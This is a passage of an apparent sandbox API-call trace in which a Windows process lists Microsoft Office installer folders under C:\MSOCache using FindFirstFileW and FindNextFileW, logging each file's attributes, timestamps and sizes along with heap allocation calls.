dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.936] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0076.937] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0076.937] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0076.937] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.937] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.937] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0076.938] GetProcessHeap () returned 0x470000 [0076.938] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.938] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0076.938] GetProcessHeap () returned 0x470000 [0076.938] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0076.939] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.939] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0076.939] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0076.940] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0076.940] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.940] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.940] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0077.059] GetProcessHeap () returned 0x470000 [0077.059] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0077.059] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0077.059] GetProcessHeap () returned 0x470000 [0077.059] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0077.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0077.060] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.060] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0077.060] GetProcessHeap () returned 0x470000 [0077.060] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0077.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255100 [0077.061] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.061] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0077.061] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0077.061] FindClose (in: hFindFile=0x3255100 | out: hFindFile=0x3255100) returned 1 [0077.061] GetProcessHeap () returned 0x470000 [0077.061] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0077.061] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0077.061] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0077.061] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0077.062] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0077.063] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0077.063] GetProcessHeap () returned 0x470000 [0077.063] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0077.064] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0077.064] GetProcessHeap () returned 0x470000 [0077.064] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0077.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0077.326] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.327] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0077.327] GetProcessHeap () returned 0x470000 [0077.327] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0077.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 